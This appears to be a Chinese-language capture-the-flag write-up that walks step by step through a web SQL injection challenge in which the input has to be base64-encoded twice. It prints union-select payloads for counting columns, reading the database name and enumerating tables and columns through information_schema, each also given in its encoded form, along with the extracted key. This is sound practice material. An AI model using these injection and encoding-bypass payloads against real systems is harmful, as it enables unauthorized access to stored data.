作者:慕容春 | 来源:互联网 | 2023-05-18 20:43
文章目录前言一、题目描述二、解题步骤1、sql语句变形2、猜测列数3、注入列的选择4、爆表、列、字段三、总结前言题目分类:CTF—Web—SQL注入—09—注入列
文章目录 前言 一、题目描述 二、解题步骤 1、sql语句变形 2、猜测列数 3、注入列的选择 4、爆表、列、字段 三、总结
前言 题目分类:
CTF—Web—SQL注入—09—注入列+sql语句变形
一、题目描述 题目:SQL注入
二、解题步骤 1、sql语句变形 Step1: TVE9PQ==是base64编码, 经两次解码后, 答案为数字1.
提示此次手工注入需输入的数据需经过两次base64编码 的代码.
2、猜测列数 Step2: 尝试手工注入时, -1 union select 1,2#,
当尝试1,2,3列时,提示列数错误:The used SELECT statements have a different number of columns。
这表示前后联合查询的列数不一样,继续尝试查询的列数即可
Step3: 查询命令为: -1 union select 1,2,3,4#,证明列数为4列
Base64编码一次: LTEgdW5pb24gc2VsZWN0IDEsMiwzLDQj
Base64编码二次: TFRFZ2RXNXBiMjRnYzJWc1pXTjBJREVzTWl3ekxEUWo=
3、注入列的选择 Step4: 尝试**database()**放置列的位置, 3的位置不行, 4的可以 .
查数据库语句:-1 union select 1,2,3,database()#
Base64编码二次: TFRFZ2RXNXBiMjRnYzJWc1pXTjBJREVzTWl3ekxHUmhkR0ZpWVhObEtDa2o=
表名为inject_paodingjieniu2
4、爆表、列、字段 Step5:查表语句:
-1 union select 1,2,3,table_name from Information_schema.tables where table_schema=”inject_paodingjieniu2”
Base64编码二次: TFRFZ2RXNXBiMjRnYzJWc1pXTjBJREVzTWl3ekxIUmhZbXhsWDI1aGJXVWdabkp2YlNCSmJtWnZjbTFoZEdsdmJsOXpZMmhsYldFdWRHRmliR1Z6SUhkb1pYSmxJSFJoWW14bFgzTmphR1Z0WVQwaWFXNXFaV04wWDNCaGIyUnBibWRxYVdWdWFYVXlJZz09
Step6:查列语句:
-1 union select 1,2,3,column_name from Information_schema.columns where table_name="key_the1"
Base64编码二次: TFRFZ2RXNXBiMjRnYzJWc1pXTjBJREVzTWl3ekxHTnZiSFZ0Ymw5dVlXMWxJR1p5YjIwZ1NXNW1iM0p0WVhScGIyNWZjMk5vWlcxaExtTnZiSFZ0Ym5NZ2QyaGxjbVVnZEdGaWJHVmZibUZ0WlQwaWEyVjVYM1JvWlRFaQ==
列名为thekey Step7:查字段语句:-1 union select 1,2,3,thekey from key_the1
Base64编码二次: TFRFZ2RXNXBiMjRnYzJWc1pXTjBJREVzTWl3ekxIUm9aV3RsZVNCbWNtOXRJR3RsZVY5MGFHVXhEUW89
Key为 E81BA0C569EC44E8
三、总结 1、选择注入列
在选择注入语句执行的结果列时,有时会出现查询不到的情况,换个位置继续注入即可
eg:union select 1,2,3,database()#,也就是database()放置位置的选择
2、SQL语句变形
此题为两次base64编码,之前遇到过URL编码